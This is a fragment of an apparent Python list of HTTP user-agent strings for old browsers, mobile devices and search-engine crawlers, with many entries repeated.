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'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
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'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
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'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
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'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
